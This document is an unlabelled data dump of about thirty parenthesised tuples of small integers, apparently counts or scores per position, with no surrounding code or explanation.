(13,13,12,12,12,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,8,10,13,13,13,13,13,13,10,13,12,13,12,8,11,13,13,11,13,13,13,13,13,13,13,13,12,13,13,10,10,12,13,12,13,13,13,12,9,11,11,12,13,12,13,12,13,10,12,13,13,12,13,13,13,13,13,13,13,13,13,13,12,13,13,13,12,12,13,8,8,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,10,11,12,11,11,11,12,11,11,12,12,13,12,13,13,13,13,13,13,13,13,13,13,13,13,12,12,11,13,11,13,13,9,12,13,12,10,13,11,12,10,13,10,12,13,11,13,11,10,13,12,13,13,12,9,8,12,13,12,13,11,12,13,13,12,13,12,13,10,12,13,10,13,12,12,9,13,13,11,13,13,12,12,13,13,12,),
(8,11,10,10,11,13,13,13,13,13,13,13,13,12,11,13,13,13,13,13,13,12,13,12,12,13,11,13,13,13,9,12,12,11,13,13,12,13,12,13,12,13,13,13,12,10,13,13,13,12,12,13,13,13,13,13,12,13,13,11,13,13,10,10,13,11,12,11,12,12,10,12,11,11,10,13,13,13,13,13,13,13,12,12,12,12,12,13,13,12,13,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,11,10,11,11,12,11,12,11,13,13,13,13,13,13,13,13,11,11,13,12,11,11,11,12,11,11,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,10,13,13,11,13,11,11,13,12,13,12,9,12,10,12,10,13,9,12,13,11,11,10,11,13,12,13,13,13,13,12,11,13,11,13,10,12,13,12,13,13,11,13,11,13,13,13,11,12,13,13,11,11,13,13,13,12,13,13,13,11,),
(8,13,9,10,11,13,13,13,13,13,13,13,13,12,9,13,13,13,13,13,13,13,13,12,12,13,9,13,13,13,7,12,12,12,13,13,12,13,12,13,12,13,13,13,12,10,13,13,13,12,12,13,13,13,13,13,12,13,13,10,13,13,13,12,13,9,13,10,13,12,13,12,13,11,10,13,13,13,13,13,13,13,12,12,12,12,12,13,13,12,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,11,10,9,9,12,11,12,11,13,13,13,13,13,13,13,13,11,10,13,12,11,11,11,12,11,11,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,10,13,13,11,13,9,11,13,13,13,12,13,12,10,13,10,13,13,12,13,11,13,10,11,13,12,13,13,13,13,12,8,13,11,13,10,12,13,12,13,13,11,13,11,13,13,13,10,12,13,13,11,10,13,13,13,12,13,13,13,11,),
(10,11,12,12,11,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,10,10,13,13,13,13,13,11,10,13,12,13,12,10,11,13,13,11,13,13,13,13,12,13,13,13,12,13,13,11,11,12,13,12,13,13,13,12,11,10,10,12,13,12,13,12,10,10,10,11,13,12,13,13,13,13,13,13,13,13,13,13,12,13,13,13,12,12,13,10,10,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,11,11,12,11,11,11,12,11,11,12,12,13,12,13,13,13,13,13,13,13,13,13,13,13,13,12,12,11,12,11,13,13,11,10,13,12,10,11,10,11,10,11,10,12,13,11,11,11,10,13,12,13,13,12,11,11,12,13,10,13,11,12,13,13,12,13,10,13,10,12,13,11,13,12,11,11,13,13,11,13,13,12,12,13,13,12,),
(13,14,12,13,13,14,14,14,14,14,14,13,13,12,12,14,14,14,14,14,14,14,13,14,14,14,13,14,14,13,13,14,14,14,13,13,14,14,12,14,14,14,14,14,12,13,14,14,13,12,12,13,14,14,13,13,14,14,14,12,13,14,14,14,14,13,14,13,14,13,14,14,14,13,13,14,14,14,14,14,14,14,12,12,12,12,12,14,14,14,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,13,12,12,11,12,12,12,12,12,14,14,14,14,14,13,13,14,11,12,13,14,12,13,12,13,12,12,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,11,14,13,14,13,13,11,14,14,14,14,14,14,14,14,14,14,14,12,14,12,14,12,14,14,14,14,14,13,13,12,12,14,14,14,13,12,13,12,14,14,14,14,14,13,14,13,11,12,13,14,11,13,13,13,13,13,13,14,14,14,),
(15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,13,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,),
(11,14,11,11,11,14,13,13,12,14,14,11,11,11,11,14,14,14,14,13,14,14,11,10,11,14,11,14,14,11,10,10,13,14,12,10,12,10,11,13,14,12,12,13,11,12,14,14,11,10,11,11,11,12,11,11,11,12,13,11,13,14,13,12,12,11,13,11,13,10,13,11,13,11,11,12,12,14,14,14,14,14,11,11,11,10,11,14,14,14,13,11,14,14,14,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,11,11,11,11,11,11,11,12,11,12,12,12,12,13,12,12,11,14,11,10,11,11,12,11,10,11,10,10,12,10,12,11,12,12,12,12,12,12,12,12,12,12,12,12,11,14,11,11,11,11,11,13,14,14,12,13,14,8,14,8,13,13,10,14,10,13,11,12,12,12,12,12,11,10,10,10,14,13,12,11,10,11,11,10,14,13,12,13,11,11,11,11,10,11,14,11,11,9,11,11,11,10,14,14,12,),
(14,14,13,13,13,14,14,14,14,14,14,14,14,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,13,14,14,14,14,13,13,14,14,14,14,14,14,14,14,13,14,14,12,14,14,13,13,13,13,14,12,14,14,13,13,14,14,14,14,14,14,14,13,13,13,13,13,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,13,13,12,13,13,13,13,13,14,14,14,14,14,14,14,14,12,13,14,14,12,13,13,13,13,13,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,14,14,12,14,14,14,14,12,14,14,14,13,14,12,13,14,13,14,13,14,14,14,14,14,14,14,13,13,14,14,14,13,13,14,13,14,14,14,14,14,14,14,14,12,13,14,14,12,14,14,14,14,13,14,14,14,14,),
(10,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,14,11,11,11,10,10,11,11,11,11,11,9,10,11,10,11,11,10,11,11,13,10,11,11,11,11,11,14,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,13,11,11,10,11,10,10,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,11,12,11,11,11,11,11,11,11,11,11,11,11,11,12,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,14,11,11,11,11,14,14,14,8,12,13,12,14,13,8,11,11,11,9,10,9,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(13,14,13,13,13,14,13,13,13,14,14,13,13,13,13,14,14,14,14,13,14,14,13,13,13,14,13,14,14,13,13,13,13,14,13,12,13,13,13,13,14,13,13,13,13,13,14,14,13,12,13,13,13,13,12,13,13,13,13,13,13,14,14,14,13,13,14,13,14,13,14,13,14,13,13,13,13,14,14,14,14,14,13,13,13,12,13,14,14,14,13,13,14,14,14,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,13,12,12,13,12,12,12,12,12,12,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,12,13,12,13,13,14,14,14,12,14,14,12,14,11,13,14,12,14,12,14,13,13,13,13,13,13,12,12,12,12,14,13,13,13,12,13,13,13,14,13,13,13,12,13,12,13,12,13,14,13,13,12,13,13,13,12,14,14,13,),
(10,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,14,11,11,11,10,10,11,11,11,11,11,10,10,11,10,11,11,10,11,11,12,10,11,11,11,11,11,14,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,11,11,10,11,10,10,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,11,12,11,11,11,11,11,11,11,11,11,11,11,11,12,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,14,11,11,11,11,14,14,14,8,12,13,12,14,13,8,11,11,11,10,10,9,11,11,11,11,11,11,11,11,11,9,11,10,11,11,11,11,11,9,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(14,14,14,14,14,14,14,14,13,14,14,14,14,12,13,14,14,14,14,14,14,14,14,13,13,14,14,14,14,13,14,13,14,14,13,13,14,13,14,14,14,13,13,14,14,14,14,14,13,13,14,13,13,14,13,13,13,13,14,13,13,14,13,13,14,14,13,14,13,14,13,14,14,14,14,13,13,14,14,14,14,14,12,12,12,12,12,14,14,14,13,13,14,14,14,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,13,12,12,12,12,12,13,13,13,13,13,13,13,14,13,12,13,13,12,12,12,13,12,12,14,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,13,14,13,14,12,13,14,14,13,13,14,13,14,12,14,13,12,14,12,14,14,14,13,13,13,13,13,13,12,12,14,14,14,14,12,13,13,13,14,14,14,14,13,13,13,12,12,14,14,12,14,13,13,13,13,13,14,14,14,),
(10,14,11,11,11,13,12,12,11,14,14,11,11,11,11,13,13,14,14,12,14,14,11,10,10,14,11,14,14,11,9,10,13,13,12,11,10,11,11,13,13,11,11,12,11,11,14,14,11,11,11,11,11,11,11,11,11,11,12,11,13,13,14,14,11,11,14,11,14,9,14,10,14,11,11,11,11,13,14,14,14,13,11,11,11,11,11,14,14,13,12,11,14,14,14,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,11,12,11,11,11,12,11,11,11,14,11,11,10,11,12,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,14,10,11,10,11,11,14,14,14,11,14,13,8,14,8,12,14,11,14,11,14,11,9,11,11,11,11,11,11,11,11,13,12,11,11,11,11,11,11,14,12,11,12,11,11,10,11,11,10,14,11,11,10,11,11,11,10,14,14,11,),
(14,14,13,13,13,14,14,13,13,14,14,14,14,13,13,14,14,14,14,14,14,14,14,13,13,14,14,13,14,13,14,13,13,13,13,13,13,13,13,14,13,13,13,13,13,14,14,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,14,13,13,13,13,13,14,12,13,14,13,13,13,13,13,14,14,13,14,13,13,13,13,13,14,14,13,13,12,13,13,14,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,14,12,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,14,13,14,12,13,14,14,14,12,14,14,13,14,14,12,13,14,13,14,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,13,13,13,13,12,13,13,13,12,14,13,13,13,12,13,14,14,13,),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,14,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,15,16,16,14,16,13,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,),
(12,13,14,14,14,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,14,16,14,14,16,15,16,16,16,13,14,16,15,16,16,14,16,16,16,14,16,16,16,16,14,16,16,15,16,15,15,16,15,16,16,15,16,16,16,16,15,12,13,16,15,15,16,15,14,13,14,16,15,14,16,16,16,16,16,16,16,16,16,16,16,16,16,16,14,16,15,14,14,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,15,16,15,14,15,16,16,16,16,16,16,16,16,16,16,16,16,16,14,16,15,15,14,16,16,16,16,16,15,16,16,15,16,16,16,16,16,16,16,16,16,16,16,16,14,15,15,15,15,15,15,15,14,16,15,13,14,13,14,13,15,13,16,16,16,13,14,14,16,14,16,16,16,16,16,16,16,13,16,13,16,16,16,16,16,13,16,13,16,16,15,15,16,15,16,15,16,15,16,16,14,15,16,16,16,),
(9,9,8,8,8,9,9,8,7,9,9,9,9,7,7,9,9,9,9,9,9,9,9,7,7,9,9,9,9,7,9,7,8,8,7,7,8,7,8,9,8,7,7,8,8,9,9,9,7,7,8,7,7,8,7,7,7,7,8,7,8,8,9,8,8,8,9,8,9,9,9,8,9,8,8,7,7,8,9,9,9,9,7,7,7,6,7,9,9,8,7,7,9,9,9,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,9,8,8,7,7,7,7,7,7,7,7,7,7,7,7,7,9,7,6,7,7,7,6,6,7,6,6,8,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,9,7,9,7,9,7,9,9,9,8,9,9,7,9,4,9,9,6,9,6,9,8,8,7,7,7,7,7,7,6,6,8,8,8,8,6,7,7,7,9,8,9,8,7,7,7,7,6,8,9,7,9,7,7,7,7,7,9,9,8,),
(5,5,6,7,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,6,6,9,7,9,9,9,6,6,9,8,9,9,6,9,9,9,7,9,9,9,9,6,9,9,8,9,8,7,9,7,9,9,8,9,9,9,9,8,5,6,9,7,8,9,8,7,6,6,9,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,6,9,8,6,6,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,8,6,8,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,8,8,7,9,9,9,9,9,8,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,7,8,8,8,7,7,7,7,7,9,8,6,7,6,7,6,8,6,9,9,9,6,7,7,9,6,9,9,9,9,9,9,9,5,9,5,9,9,9,9,9,5,9,6,9,9,7,7,9,7,9,8,9,8,9,9,7,8,9,9,9,),
(10,11,11,11,11,11,11,9,10,11,11,11,11,9,10,11,11,11,11,11,11,11,11,8,8,11,11,11,11,10,8,9,11,10,9,9,8,9,11,11,9,10,10,10,11,11,11,10,9,10,11,9,9,8,9,10,10,10,10,10,10,8,9,8,11,11,10,11,10,9,7,10,9,11,11,10,10,11,11,11,11,11,9,9,9,9,9,11,11,11,10,10,8,8,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,10,11,11,10,9,9,9,9,9,10,10,10,10,10,10,10,11,10,9,10,10,9,9,9,10,9,9,11,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,8,11,8,9,9,8,9,11,9,8,11,6,10,7,10,8,9,11,9,10,11,7,10,10,10,10,9,9,9,9,11,10,11,11,9,9,10,9,10,10,11,10,9,9,8,9,9,9,9,9,11,8,10,10,10,9,11,11,11,),
(6,11,8,8,9,11,10,11,10,11,11,9,9,9,9,11,11,11,11,10,11,11,9,10,10,11,8,11,11,9,6,10,10,11,9,9,11,10,9,11,11,10,10,11,9,9,11,11,9,9,8,9,10,11,9,9,10,10,11,9,9,11,9,8,10,8,10,9,10,8,9,10,10,8,8,10,10,11,11,11,11,11,9,9,9,9,9,11,11,11,10,9,11,10,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,8,8,8,9,9,9,9,9,10,10,10,10,10,10,9,11,8,9,9,10,9,9,9,10,9,9,11,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,11,9,8,9,8,8,9,11,11,10,6,11,7,11,6,11,7,9,11,9,10,7,11,10,10,10,10,9,9,9,9,11,11,11,10,9,9,9,10,11,11,10,11,9,10,9,8,9,9,11,8,9,9,9,9,9,9,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,10,10,11,11,11,11,10,11,11,11,11,11,11,11,6,10,11,10,11,11,10,11,11,11,11,11,10,11,9,8,11,11,10,10,10,8,9,11,9,11,11,11,11,11,11,11,11,11,10,10,10,6,10,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,10,9,9,10,9,11,11,11,11,11,11,11,11,11,7,9,11,9,10,9,10,9,7,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,10,10,10,10,11,10,8,10,8,10,8,11,8,9,11,8,9,10,10,11,11,11,11,10,2,9,9,11,10,11,10,9,3,11,11,11,10,11,10,10,11,10,10,9,10,11,10,11,9,11,11,11,9,11,11,10,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(8,8,6,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,9,12,6,12,12,12,9,11,12,11,12,12,7,12,12,12,11,12,12,12,12,9,12,12,12,12,11,12,12,12,12,12,11,12,12,12,12,12,9,9,12,10,11,12,11,11,9,5,12,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,5,6,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,9,11,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,10,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,8,10,12,11,12,11,9,11,9,11,9,12,9,12,12,12,10,10,10,12,3,12,12,12,12,12,12,12,8,12,9,12,12,12,12,12,8,12,10,12,12,12,9,12,12,12,11,12,12,12,12,11,12,12,12,12,),
(8,10,10,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,11,12,11,12,12,12,9,11,12,11,12,12,11,12,12,12,11,12,12,12,12,10,12,12,12,12,11,12,12,12,12,12,11,12,12,12,12,12,9,9,12,11,11,12,11,11,9,11,12,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,10,11,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,10,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,11,11,12,11,12,11,9,11,9,11,9,12,9,12,12,12,10,10,10,12,11,12,12,12,12,12,12,12,10,12,9,12,12,12,12,12,10,12,10,12,12,12,11,12,12,12,11,12,12,12,12,11,12,12,12,12,),
(8,9,7,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,10,10,12,7,12,12,12,9,10,12,11,12,12,10,12,12,12,10,12,12,12,12,8,12,12,11,12,11,11,12,11,12,12,11,12,12,12,12,11,8,9,12,10,11,12,11,10,9,10,12,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,11,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,8,11,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,11,11,10,12,12,12,12,12,11,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,10,11,11,11,11,7,10,11,10,12,11,9,10,9,10,9,11,9,12,12,12,9,10,10,12,10,12,12,12,12,12,12,12,9,12,8,12,12,12,12,12,9,12,9,12,12,11,9,12,11,12,11,12,11,12,12,10,11,12,12,12,),
(8,9,10,10,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,7,9,12,11,12,12,12,9,9,12,11,12,12,7,12,12,12,10,12,12,12,12,10,12,12,11,12,11,11,12,9,12,12,11,12,12,12,12,11,8,9,12,11,11,12,11,10,9,8,12,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,11,7,7,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,11,10,11,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,11,11,10,12,12,12,12,12,11,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,10,11,11,11,10,11,11,7,10,12,11,9,10,9,10,9,11,9,12,12,12,9,10,10,12,10,12,12,12,12,12,12,12,8,12,9,12,12,12,12,12,8,12,9,12,12,9,11,12,10,12,11,12,11,12,12,10,11,12,12,12,),
(9,9,8,9,9,9,9,9,8,9,9,9,9,6,7,9,9,9,9,9,9,9,9,5,8,9,9,9,9,7,8,7,8,9,7,6,9,6,8,9,9,8,8,9,8,8,9,9,6,7,8,7,6,9,7,7,7,8,9,7,8,9,7,6,8,9,8,9,8,8,7,9,8,9,9,8,8,9,9,9,9,9,6,6,6,5,6,9,9,9,8,8,9,8,9,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,9,9,8,8,7,6,6,7,6,7,8,8,8,8,8,8,7,9,7,5,8,7,7,6,7,8,6,5,9,6,8,7,8,8,8,8,8,8,8,8,8,8,8,8,7,9,7,9,7,8,6,7,9,9,8,7,9,5,9,5,9,6,6,9,5,8,8,9,8,8,8,8,7,5,6,5,9,9,9,8,6,6,7,5,9,9,9,9,7,6,7,6,6,9,9,6,9,6,7,7,7,6,9,9,9,),
(8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,6,9,9,8,9,8,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,8,9,6,9,6,9,7,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,),
(8,9,9,9,9,9,9,8,8,9,9,9,9,7,8,9,9,9,9,9,9,9,9,7,7,9,9,9,9,8,7,7,9,8,7,6,8,7,9,9,8,8,8,8,9,9,9,8,6,8,9,7,7,8,6,6,7,8,8,8,8,8,7,6,9,9,8,9,8,7,6,8,7,9,9,8,8,9,9,9,9,9,5,7,7,5,7,9,9,9,8,8,8,7,9,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,8,9,9,8,5,6,7,5,7,8,8,8,8,8,8,6,9,5,5,8,7,7,6,7,8,6,5,9,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,9,6,7,7,6,8,9,7,6,9,4,8,5,8,6,6,9,5,8,9,8,8,8,8,8,6,6,5,6,9,8,9,9,6,6,5,7,8,8,9,8,6,7,6,7,6,8,8,7,9,6,6,6,8,7,9,9,9,),
(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,6,9,9,8,9,8,8,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,6,9,6,9,6,9,6,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,),
(10,10,11,12,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,12,10,13,13,13,13,13,11,12,13,12,13,13,8,13,13,13,12,13,13,13,13,10,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,13,10,10,13,13,12,13,12,12,10,7,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,8,8,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,12,11,13,13,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,12,13,13,13,13,12,13,12,10,12,10,12,10,13,10,13,13,13,11,11,11,13,5,13,13,13,13,13,13,13,10,13,10,13,13,13,13,13,10,13,11,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,),
